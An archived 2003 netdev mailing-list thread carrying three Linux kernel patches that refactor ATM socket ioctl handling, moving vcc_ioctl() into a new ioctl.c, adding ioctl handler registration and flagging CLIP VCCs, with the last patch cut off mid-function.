[134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PGAmFx031256 for ; Thu, 25 Sep 2003 09:10:48 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PGAekT006965; Thu, 25 Sep 2003 12:10:41 -0400 (EDT) Message-Id: <200309251610.h8PGAekT006965@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][5/8] change vcc clip info handling (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:10:42 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 3883 Lines: 126 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1451 -> 1.1452 # net/atm/proc.c 1.30 -> 1.31 # include/linux/atmdev.h 1.30 -> 1.31 # net/atm/clip.c 1.26 -> 1.27 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1452 # [ATM]: [ioctl][5/8] change vcc clip info handling (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/include/linux/atmdev.h b/include/linux/atmdev.h --- a/include/linux/atmdev.h Thu Sep 25 09:24:35 2003 +++ b/include/linux/atmdev.h Thu Sep 25 09:24:35 2003 @@ -253,6 +253,7 @@ ATM_VF_HASSAP, /* SAP has been set */ ATM_VF_CLOSE, /* asynchronous close - treat like VF_RELEASED*/ ATM_VF_WAITING, /* waiting for reply from sigd */ + ATM_VF_IS_CLIP, /* in use by CLIP protocol */ }; diff -Nru a/net/atm/clip.c b/net/atm/clip.c --- a/net/atm/clip.c Thu Sep 25 09:24:35 2003 +++ b/net/atm/clip.c Thu Sep 25 09:24:35 2003 @@ -488,6 +488,7 @@ DPRINTK("mkip clip_vcc %p vcc %p\n",clip_vcc,vcc); clip_vcc->vcc = vcc; vcc->user_back = clip_vcc; + set_bit(ATM_VF_IS_CLIP, &vcc->flags); clip_vcc->entry = NULL; clip_vcc->xoff = 0; clip_vcc->encap = 1; diff -Nru a/net/atm/proc.c b/net/atm/proc.c --- a/net/atm/proc.c Thu Sep 25 09:24:35 2003 +++ b/net/atm/proc.c Thu Sep 25 09:24:35 2003 @@ -25,6 +25,7 @@ #include #include #include /* for __init */ +#include #include #include #include /* for HZ */ @@ -32,9 +33,6 @@ #include "common.h" /* atm_proc_init prototype */ #include "signaling.h" /* to get sigd - ugly too */ -#include -#include "ipcommon.h" - #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) #include "lec.h" #include "lec_arpc.h" @@ -139,7 +137,6 @@ struct vcc_state { struct sock *sk; int family; - int clip_info; }; static inline int compare_family(struct sock *sk, int family) @@ -190,7 +187,6 @@ goto out_kfree; state->family = family; - state->clip_info = try_atm_clip_ops(); seq = file->private_data; seq->private = state; @@ -203,13 +199,6 @@ static int vcc_seq_release(struct inode *inode, struct file *file) { -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - struct seq_file *seq = file->private_data; - struct vcc_state *state = seq->private; - - if (state->clip_info) - module_put(atm_clip_ops->owner); -#endif return seq_release_private(inode, file); } @@ -237,7 +226,7 @@ return v; } -static void pvc_info(struct seq_file *seq, struct atm_vcc *vcc, int clip_info) +static void pvc_info(struct seq_file *seq, struct atm_vcc *vcc) { static const char *class_name[] = { "off","UBR","CBR","VBR","ABR" }; static const char *aal_name[] = { @@ -252,8 +241,7 @@ aal_name[vcc->qos.aal],vcc->qos.rxtp.min_pcr, class_name[vcc->qos.rxtp.traffic_class],vcc->qos.txtp.min_pcr, class_name[vcc->qos.txtp.traffic_class]); -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - if (clip_info && (vcc->push == atm_clip_ops->clip_push)) { + if (test_bit(ATM_VF_IS_CLIP, &vcc->flags)) { struct clip_vcc *clip_vcc = CLIP_VCC(vcc); struct net_device *dev; @@ -262,7 +250,6 @@ dev ? dev->name : "none?"); seq_printf(seq, "%s", clip_vcc->encap ? "LLC/SNAP" : "None"); } -#endif seq_putc(seq, '\n'); } @@ -405,7 +392,7 @@ struct vcc_state *state = seq->private; struct atm_vcc *vcc = atm_sk(state->sk); - pvc_info(seq, vcc, state->clip_info); + pvc_info(seq, vcc); } return 0; } From chas@cmf.nrl.navy.mil Thu Sep 25 09:09:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:10:04 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PG9vFx030743 for ; Thu, 25 Sep 2003 09:09:57 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PG9qkT006932; Thu, 25 Sep 2003 12:09:52 -0400 (EDT) Message-Id: <200309251609.h8PG9qkT006932@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][2/8] add registration functions (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:09:53 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 224 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 3436 Lines: 125 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1448 -> 1.1449 # net/atm/ioctl.c 1.1 -> 1.2 # include/linux/atmdev.h 1.29 -> 1.30 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1449 # [ATM]: [ioctl][2/8] add registration functions (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/include/linux/atmdev.h b/include/linux/atmdev.h --- a/include/linux/atmdev.h Thu Sep 25 09:24:09 2003 +++ b/include/linux/atmdev.h Thu Sep 25 09:24:09 2003 @@ -445,6 +445,28 @@ void vcc_release_async(struct atm_vcc *vcc, int reply); +struct atm_ioctl { + struct module *owner; + /* A module reference is kept if appropriate over this call. + * Return -ENOIOCTLCMD if you don't handle it. */ + int (*ioctl)(struct socket *, unsigned int cmd, unsigned long arg); + struct list_head list; +}; + +/** + * register_atm_ioctl - register handler for ioctl operations + * + * Special (non-device) handlers of ioctl's should + * register here. If you're a normal device, you should + * set .ioctl in your atmdev_ops instead. + */ +void register_atm_ioctl(struct atm_ioctl *); + +/** + * deregister_atm_ioctl - remove the ioctl handler + */ +void deregister_atm_ioctl(struct atm_ioctl *); + #endif /* __KERNEL__ */ #endif diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- a/net/atm/ioctl.c Thu Sep 25 09:24:09 2003 +++ b/net/atm/ioctl.c Thu Sep 25 09:24:09 2003 @@ -1,6 +1,7 @@ -/* net/atm/common.c - ATM sockets (common part for PVC and SVC) */ +/* ATM ioctl handling */ /* Written 1995-2000 by Werner Almesberger, EPFL LRC/ICA */ +/* 2003 John Levon */ #include @@ -18,7 +19,7 @@ #ifdef CONFIG_ATM_CLIP #include /* for clip_create */ #endif -#include "resources.h" /* atm_find_dev */ +#include "resources.h" #include "signaling.h" /* for WAITING and sigd_attach */ #if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) @@ -153,11 +154,32 @@ #endif #endif +static DECLARE_MUTEX(ioctl_mutex); +static LIST_HEAD(ioctl_list); + + +void register_atm_ioctl(struct atm_ioctl *ioctl) +{ + down(&ioctl_mutex); + list_add_tail(&ioctl->list, &ioctl_list); + up(&ioctl_mutex); +} + +void deregister_atm_ioctl(struct atm_ioctl *ioctl) +{ + down(&ioctl_mutex); + list_del(&ioctl->list); + up(&ioctl_mutex); +} + +EXPORT_SYMBOL(register_atm_ioctl); +EXPORT_SYMBOL(deregister_atm_ioctl); int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { struct atm_vcc *vcc; int error; + struct list_head * pos; vcc = ATM_SD(sock); switch (cmd) { @@ -396,6 +418,22 @@ break; } error = -ENOIOCTLCMD; + + down(&ioctl_mutex); + list_for_each(pos, &ioctl_list) { + struct atm_ioctl * ic = list_entry(pos, struct atm_ioctl, list); + if (try_module_get(ic->owner)) { + error = ic->ioctl(sock, cmd, arg); + module_put(ic->owner); + if (error != -ENOIOCTLCMD) + break; + } + } + up(&ioctl_mutex); + + if (error != -ENOIOCTLCMD) + goto done; + #if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) down(&pppoatm_ioctl_mutex); if (pppoatm_ioctl_hook) From chas@cmf.nrl.navy.mil Thu Sep 25 09:09:49 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 09:10:00 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PG9lFx030738 for ; Thu, 25 Sep 2003 09:09:48 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8PG9bkT006926; Thu, 25 Sep 2003 12:09:38 -0400 (EDT) Message-Id: <200309251609.h8PG9bkT006926@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) Reply-To: chas3@users.sourceforge.net Date: Thu, 25 Sep 2003 12:09:39 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 22916 Lines: 887 please apply to 2.6 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1447 -> 1.1448 # net/atm/Makefile 1.11 -> 1.12 # net/atm/common.c 1.53 -> 1.54 # (new) -> 1.1 net/atm/ioctl.c # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/23 chas@relax.cmf.nrl.navy.mil 1.1448 # [ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) # -------------------------------------------- # diff -Nru a/net/atm/Makefile b/net/atm/Makefile --- a/net/atm/Makefile Thu Sep 25 09:24:00 2003 +++ b/net/atm/Makefile Thu Sep 25 09:24:00 2003 @@ -2,7 +2,7 @@ # Makefile for the ATM Protocol Families. # -atm-y := addr.o pvc.o signaling.o svc.o common.o atm_misc.o raw.o resources.o +atm-y := addr.o pvc.o signaling.o svc.o ioctl.o common.o atm_misc.o raw.o resources.o mpoa-objs := mpc.o mpoa_caches.o mpoa_proc.o obj-$(CONFIG_ATM) += atm.o diff -Nru a/net/atm/common.c b/net/atm/common.c --- a/net/atm/common.c Thu Sep 25 09:24:00 2003 +++ b/net/atm/common.c Thu Sep 25 09:24:00 2003 @@ -9,9 +9,6 @@ #include /* struct socket, struct proto_ops */ #include /* ATM stuff */ #include -#include /* CLIP_*ENCAP */ -#include /* manifest constants */ -#include /* for ioctls */ #include /* SOL_SOCKET */ #include /* error codes */ #include @@ -26,147 +23,12 @@ #include #include #include -#include -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) -#include -#include "lec.h" -#include "lec_arpc.h" -struct atm_lane_ops *atm_lane_ops; -static DECLARE_MUTEX(atm_lane_ops_mutex); - -void atm_lane_ops_set(struct atm_lane_ops *hook) -{ - down(&atm_lane_ops_mutex); - atm_lane_ops = hook; - up(&atm_lane_ops_mutex); -} - -int try_atm_lane_ops(void) -{ - down(&atm_lane_ops_mutex); - if (atm_lane_ops && try_module_get(atm_lane_ops->owner)) { - up(&atm_lane_ops_mutex); - return 1; - } - up(&atm_lane_ops_mutex); - return 0; -} - -#if defined(CONFIG_ATM_LANE_MODULE) || defined(CONFIG_ATM_MPOA_MODULE) -EXPORT_SYMBOL(atm_lane_ops); -EXPORT_SYMBOL(try_atm_lane_ops); -EXPORT_SYMBOL(atm_lane_ops_set); -#endif -#endif - -#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) -#include -#include "mpc.h" -struct atm_mpoa_ops *atm_mpoa_ops; -static DECLARE_MUTEX(atm_mpoa_ops_mutex); - -void atm_mpoa_ops_set(struct atm_mpoa_ops *hook) -{ - down(&atm_mpoa_ops_mutex); - atm_mpoa_ops = hook; - up(&atm_mpoa_ops_mutex); -} - -int try_atm_mpoa_ops(void) -{ - down(&atm_mpoa_ops_mutex); - if (atm_mpoa_ops && try_module_get(atm_mpoa_ops->owner)) { - up(&atm_mpoa_ops_mutex); - return 1; - } - up(&atm_mpoa_ops_mutex); - return 0; -} -#ifdef CONFIG_ATM_MPOA_MODULE -EXPORT_SYMBOL(atm_mpoa_ops); -EXPORT_SYMBOL(try_atm_mpoa_ops); -EXPORT_SYMBOL(atm_mpoa_ops_set); -#endif -#endif - -#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) -#include -#ifdef CONFIG_ATM_TCP_MODULE -struct atm_tcp_ops atm_tcp_ops; -EXPORT_SYMBOL(atm_tcp_ops); -#endif -#endif - -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) -#include -struct atm_clip_ops *atm_clip_ops; -static DECLARE_MUTEX(atm_clip_ops_mutex); - -void atm_clip_ops_set(struct atm_clip_ops *hook) -{ - down(&atm_clip_ops_mutex); - atm_clip_ops = hook; - up(&atm_clip_ops_mutex); -} - -int try_atm_clip_ops(void) -{ - down(&atm_clip_ops_mutex); - if (atm_clip_ops && try_module_get(atm_clip_ops->owner)) { - up(&atm_clip_ops_mutex); - return 1; - } - up(&atm_clip_ops_mutex); - return 0; -} - -#ifdef CONFIG_ATM_CLIP_MODULE -EXPORT_SYMBOL(atm_clip_ops); -EXPORT_SYMBOL(try_atm_clip_ops); -EXPORT_SYMBOL(atm_clip_ops_set); -#endif -#endif - -#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) -static DECLARE_MUTEX(pppoatm_ioctl_mutex); - -static int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - -void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) -{ - down(&pppoatm_ioctl_mutex); - pppoatm_ioctl_hook = hook; - up(&pppoatm_ioctl_mutex); -} -#ifdef CONFIG_PPPOATM_MODULE -EXPORT_SYMBOL(pppoatm_ioctl_set); -#endif -#endif - -#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) -static DECLARE_MUTEX(br2684_ioctl_mutex); - -static int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); - -void br2684_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) -{ - down(&br2684_ioctl_mutex); - br2684_ioctl_hook = hook; - up(&br2684_ioctl_mutex); -} -#ifdef CONFIG_ATM_BR2684_MODULE -EXPORT_SYMBOL(br2684_ioctl_set); -#endif -#endif #include "resources.h" /* atm_find_dev */ #include "common.h" /* prototypes */ #include "protocols.h" /* atm_init_ */ #include "addr.h" /* address registry */ -#ifdef CONFIG_ATM_CLIP -#include /* for clip_create */ -#endif #include "signaling.h" /* for WAITING and sigd_attach */ @@ -760,272 +622,6 @@ mask |= POLLOUT | POLLWRNORM | POLLWRBAND; return mask; -} - - -int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) -{ - struct atm_vcc *vcc; - int error; - - vcc = ATM_SD(sock); - switch (cmd) { - case SIOCOUTQ: - if (sock->state != SS_CONNECTED || - !test_bit(ATM_VF_READY, &vcc->flags)) { - error = -EINVAL; - goto done; - } - error = put_user(vcc->sk->sk_sndbuf - - atomic_read(&vcc->sk->sk_wmem_alloc), - (int *) arg) ? -EFAULT : 0; - goto done; - case SIOCINQ: - { - struct sk_buff *skb; - - if (sock->state != SS_CONNECTED) { - error = -EINVAL; - goto done; - } - skb = skb_peek(&vcc->sk->sk_receive_queue); - error = put_user(skb ? skb->len : 0, - (int *) arg) ? -EFAULT : 0; - goto done; - } - case SIOCGSTAMP: /* borrowed from IP */ - if (!vcc->sk->sk_stamp.tv_sec) { - error = -ENOENT; - goto done; - } - error = copy_to_user((void *)arg, &vcc->sk->sk_stamp, - sizeof(struct timeval)) ? -EFAULT : 0; - goto done; - case ATM_SETSC: - printk(KERN_WARNING "ATM_SETSC is obsolete\n"); - error = 0; - goto done; - case ATMSIGD_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - /* - * The user/kernel protocol for exchanging signalling - * info uses kernel pointers as opaque references, - * so the holder of the file descriptor can scribble - * on the kernel... so we should make sure that we - * have the same privledges that /proc/kcore needs - */ - if (!capable(CAP_SYS_RAWIO)) { - error = -EPERM; - goto done; - } - error = sigd_attach(vcc); - if (!error) - sock->state = SS_CONNECTED; - goto done; -#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) - case SIOCMKCLIP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_create(arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARPD_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_CLIP_MODULE) - if (!atm_clip_ops) - request_module("clip"); -#endif - if (try_atm_clip_ops()) { - error = atm_clip_ops->atm_init_atmarp(vcc); - if (!error) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMARP_MKIP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_mkip(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARP_SETENTRY: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_setentry(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMARP_ENCAP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_clip_ops()) { - error = atm_clip_ops->clip_encap(vcc, arg); - module_put(atm_clip_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif -#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) - case ATMLEC_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_LANE_MODULE) - if (!atm_lane_ops) - request_module("lec"); -#endif - if (try_atm_lane_ops()) { - error = atm_lane_ops->lecd_attach(vcc, (int) arg); - module_put(atm_lane_ops->owner); - if (error >= 0) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMLEC_MCAST: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_lane_ops()) { - error = atm_lane_ops->mcast_attach(vcc, (int) arg); - module_put(atm_lane_ops->owner); - } else - error = -ENOSYS; - goto done; - case ATMLEC_DATA: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_lane_ops()) { - error = atm_lane_ops->vcc_attach(vcc, (void *) arg); - module_put(atm_lane_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif -#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) - case ATMMPC_CTRL: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } -#if defined(CONFIG_ATM_MPOA_MODULE) - if (!atm_mpoa_ops) - request_module("mpoa"); -#endif - if (try_atm_mpoa_ops()) { - error = atm_mpoa_ops->mpoad_attach(vcc, (int) arg); - module_put(atm_mpoa_ops->owner); - if (error >= 0) - sock->state = SS_CONNECTED; - } else - error = -ENOSYS; - goto done; - case ATMMPC_DATA: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (try_atm_mpoa_ops()) { - error = atm_mpoa_ops->vcc_attach(vcc, arg); - module_put(atm_mpoa_ops->owner); - } else - error = -ENOSYS; - goto done; -#endif -#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) - case SIOCSIFATMTCP: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.attach) { - error = -ENOPKG; - goto done; - } - fops_get(&atm_tcp_ops); - error = atm_tcp_ops.attach(vcc, (int) arg); - if (error >= 0) - sock->state = SS_CONNECTED; - else - fops_put (&atm_tcp_ops); - goto done; - case ATMTCP_CREATE: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.create_persistent) { - error = -ENOPKG; - goto done; - } - error = atm_tcp_ops.create_persistent((int) arg); - if (error < 0) - fops_put (&atm_tcp_ops); - goto done; - case ATMTCP_REMOVE: - if (!capable(CAP_NET_ADMIN)) { - error = -EPERM; - goto done; - } - if (!atm_tcp_ops.remove_persistent) { - error = -ENOPKG; - goto done; - } - error = atm_tcp_ops.remove_persistent((int) arg); - fops_put(&atm_tcp_ops); - goto done; -#endif - default: - break; - } - error = -ENOIOCTLCMD; -#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) - down(&pppoatm_ioctl_mutex); - if (pppoatm_ioctl_hook) - error = pppoatm_ioctl_hook(vcc, cmd, arg); - up(&pppoatm_ioctl_mutex); - if (error != -ENOIOCTLCMD) - goto done; -#endif -#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) - down(&br2684_ioctl_mutex); - if (br2684_ioctl_hook) - error = br2684_ioctl_hook(vcc, cmd, arg); - up(&br2684_ioctl_mutex); - if (error != -ENOIOCTLCMD) - goto done; -#endif - - error = atm_dev_ioctl(cmd, arg); - -done: - return error; } diff -Nru a/net/atm/ioctl.c b/net/atm/ioctl.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/net/atm/ioctl.c Thu Sep 25 09:24:00 2003 @@ -0,0 +1,420 @@ +/* net/atm/common.c - ATM sockets (common part for PVC and SVC) */ + +/* Written 1995-2000 by Werner Almesberger, EPFL LRC/ICA */ + + +#include +#include +#include +#include /* struct socket, struct proto_ops */ +#include /* ATM stuff */ +#include +#include /* CLIP_*ENCAP */ +#include /* manifest constants */ +#include /* for ioctls */ +#include +#include + +#ifdef CONFIG_ATM_CLIP +#include /* for clip_create */ +#endif +#include "resources.h" /* atm_find_dev */ +#include "signaling.h" /* for WAITING and sigd_attach */ + +#if defined(CONFIG_ATM_LANE) || defined(CONFIG_ATM_LANE_MODULE) +#include +#include "lec.h" +#include "lec_arpc.h" +struct atm_lane_ops *atm_lane_ops; +static DECLARE_MUTEX(atm_lane_ops_mutex); + +void atm_lane_ops_set(struct atm_lane_ops *hook) +{ + down(&atm_lane_ops_mutex); + atm_lane_ops = hook; + up(&atm_lane_ops_mutex); +} + +int try_atm_lane_ops(void) +{ + down(&atm_lane_ops_mutex); + if (atm_lane_ops && try_module_get(atm_lane_ops->owner)) { + up(&atm_lane_ops_mutex); + return 1; + } + up(&atm_lane_ops_mutex); + return 0; +} + +#if defined(CONFIG_ATM_LANE_MODULE) || defined(CONFIG_ATM_MPOA_MODULE) +EXPORT_SYMBOL(atm_lane_ops); +EXPORT_SYMBOL(try_atm_lane_ops); +EXPORT_SYMBOL(atm_lane_ops_set); +#endif +#endif + +#if defined(CONFIG_ATM_MPOA) || defined(CONFIG_ATM_MPOA_MODULE) +#include +#include "mpc.h" +struct atm_mpoa_ops *atm_mpoa_ops; +static DECLARE_MUTEX(atm_mpoa_ops_mutex); + +void atm_mpoa_ops_set(struct atm_mpoa_ops *hook) +{ + down(&atm_mpoa_ops_mutex); + atm_mpoa_ops = hook; + up(&atm_mpoa_ops_mutex); +} + +int try_atm_mpoa_ops(void) +{ + down(&atm_mpoa_ops_mutex); + if (atm_mpoa_ops && try_module_get(atm_mpoa_ops->owner)) { + up(&atm_mpoa_ops_mutex); + return 1; + } + up(&atm_mpoa_ops_mutex); + return 0; +} +#ifdef CONFIG_ATM_MPOA_MODULE +EXPORT_SYMBOL(atm_mpoa_ops); +EXPORT_SYMBOL(try_atm_mpoa_ops); +EXPORT_SYMBOL(atm_mpoa_ops_set); +#endif +#endif + +#if defined(CONFIG_ATM_TCP) || defined(CONFIG_ATM_TCP_MODULE) +#include +#ifdef CONFIG_ATM_TCP_MODULE +struct atm_tcp_ops atm_tcp_ops; +EXPORT_SYMBOL(atm_tcp_ops); +#endif +#endif + +#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) +#include +struct atm_clip_ops *atm_clip_ops; +static DECLARE_MUTEX(atm_clip_ops_mutex); + +void atm_clip_ops_set(struct atm_clip_ops *hook) +{ + down(&atm_clip_ops_mutex); + atm_clip_ops = hook; + up(&atm_clip_ops_mutex); +} + +int try_atm_clip_ops(void) +{ + down(&atm_clip_ops_mutex); + if (atm_clip_ops && try_module_get(atm_clip_ops->owner)) { + up(&atm_clip_ops_mutex); + return 1; + } + up(&atm_clip_ops_mutex); + return 0; +} + +#ifdef CONFIG_ATM_CLIP_MODULE +EXPORT_SYMBOL(atm_clip_ops); +EXPORT_SYMBOL(try_atm_clip_ops); +EXPORT_SYMBOL(atm_clip_ops_set); +#endif +#endif + +#if defined(CONFIG_PPPOATM) || defined(CONFIG_PPPOATM_MODULE) +static DECLARE_MUTEX(pppoatm_ioctl_mutex); + +static int (*pppoatm_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); + +void pppoatm_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) +{ + down(&pppoatm_ioctl_mutex); + pppoatm_ioctl_hook = hook; + up(&pppoatm_ioctl_mutex); +} +#ifdef CONFIG_PPPOATM_MODULE +EXPORT_SYMBOL(pppoatm_ioctl_set); +#endif +#endif + +#if defined(CONFIG_ATM_BR2684) || defined(CONFIG_ATM_BR2684_MODULE) +static DECLARE_MUTEX(br2684_ioctl_mutex); + +static int (*br2684_ioctl_hook)(struct atm_vcc *, unsigned int, unsigned long); + +void br2684_ioctl_set(int (*hook)(struct atm_vcc *, unsigned int, unsigned long)) +{ + down(&br2684_ioctl_mutex); + br2684_ioctl_hook = hook; + up(&br2684_ioctl_mutex); +} +#ifdef CONFIG_ATM_BR2684_MODULE +EXPORT_SYMBOL(br2684_ioctl_set); +#endif +#endif + + +int vcc_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) +{ + struct atm_vcc *vcc; + int error; + + vcc = ATM_SD(sock); + switch (cmd) { + case SIOCOUTQ: + if (sock->state != SS_CONNECTED || + !test_bit(ATM_VF_READY, &vcc->flags)) { + error = -EINVAL; + goto done; + } + error = put_user(vcc->sk->sk_sndbuf - + atomic_read(&vcc->sk->sk_wmem_alloc), + (int *) arg) ? -EFAULT : 0; + goto done; + case SIOCINQ: + { + struct sk_buff *skb; + + if (sock->state != SS_CONNECTED) { + error = -EINVAL; + goto done; + } + skb = skb_peek(&vcc->sk->sk_receive_queue); + error = put_user(skb ? skb->len : 0, + (int *) arg) ? -EFAULT : 0; + goto done; + } + case SIOCGSTAMP: /* borrowed from IP */ + if (!vcc->sk->sk_stamp.tv_sec) { + error = -ENOENT; + goto done; + } + error = copy_to_user((void *)arg, &vcc->sk->sk_stamp, + sizeof(struct timeval)) ? -EFAULT : 0; + goto done; + case ATM_SETSC: + printk(KERN_WARNING "ATM_SETSC is obsolete\n"); + error = 0; + goto done; + case ATMSIGD_CTRL: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + /* + * The user/kernel protocol for exchanging signalling + * info uses kernel pointers as opaque references, + * so the holder of the file descriptor can scribble + * on the kernel... so we should make sure that we + * have the same privledges that /proc/kcore needs + */ + if (!capable(CAP_SYS_RAWIO)) { + error = -EPERM; + goto done; + } + error = sigd_attach(vcc); + if (!error) + sock->state = SS_CONNECTED; + goto done; +#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) + case SIOCMKCLIP: + if (!capable(CAP_NET_ADMIN)) { + error = -EPERM; + goto done; + } + if (try_atm_clip_ops()) { + error = 